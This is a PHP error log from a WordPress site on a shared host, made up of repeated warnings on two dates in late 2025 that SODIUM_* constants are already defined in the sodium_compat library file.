[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_LIBRARY_MINOR_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 4
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_LIBRARY_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 5
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_ORIGINAL already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 7
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 8
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_URLSAFE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 9
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 10
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 11
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 12
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 13
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 14
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 15
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 16
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 17
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 18
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 19
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 20
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 21
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 22
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 23
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 24
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 25
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 26
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AUTH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 27
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AUTH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 28
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SEALBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 29
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 30
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 31
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 32
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_MACBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 33
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 34
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 35
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_BYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 36
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_BYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 37
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_CONTEXTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 38
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 39
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 42
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 43
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 44
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 45
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SESSIONKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 46
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 47
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 48
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 49
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 50
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 51
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 52
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SALTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 53
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_STRPREFIX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 54
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 55
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 56
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 57
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 58
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 59
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 60
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 61
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 62
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 63
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 64
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 65
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 66
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 67
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 68
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SCALARMULT_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 69
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SCALARMULT_SCALARBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 70
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SHORTHASH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 71
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SHORTHASH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 72
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 73
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_MACBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 74
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 75
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 76
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 77
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 78
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 79
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 81
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 82
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 83
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 84
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 85
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 86
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 87
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 88
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 89
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 90
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 91
[30-Oct-2025 06:02:50 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 92
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_LIBRARY_MAJOR_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 3
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_LIBRARY_MINOR_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 4
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_LIBRARY_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 5
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_ORIGINAL already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 7
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 8
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_URLSAFE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 9
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 10
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 11
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 12
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 13
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 14
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 15
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 16
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 17
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 18
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 19
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 20
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 21
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 22
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 23
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 24
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 25
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 26
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AUTH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 27
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AUTH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 28
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SEALBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 29
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 30
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 31
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 32
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_MACBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 33
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 34
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 35
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_BYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 36
